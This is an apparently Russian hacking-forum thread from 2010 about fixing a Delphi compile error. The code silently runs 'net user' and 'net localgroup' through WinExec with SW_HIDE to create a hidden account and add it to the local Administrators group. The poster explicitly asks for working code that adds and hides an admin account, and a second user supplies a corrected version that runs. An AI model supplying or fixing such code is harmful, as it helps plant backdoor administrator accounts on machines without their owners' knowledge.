Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Помогите с дельфином (https://forum.antichat.xyz/showthread.php?t=190731)

Axeee 27.03.2010 11:14

Помогите с дельфином
 
Выдает ошибку константы.. при замене на реал, выдает уже на s1 в самом начале..

Пишет :

[Error] Unit1.pas(34): Statement expected but 'CONST' found

вот собственно сам код :

Цитата:

begin
const
s1 : pchar = 'net user qwerty 123 /add ';
const
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
end;

begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
или подскажите рабочий код добавления и скрытия учетки в группу администраторы..

..::TROYAN::.. 27.03.2010 13:20

omg....
Цитата:

const
s1 : pchar = 'net user qwerty 123 /add ';
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
end;
так будет работать

Axeee 27.03.2010 15:08

тему можно закрывать, спасибо за ответ !


Время: 09:50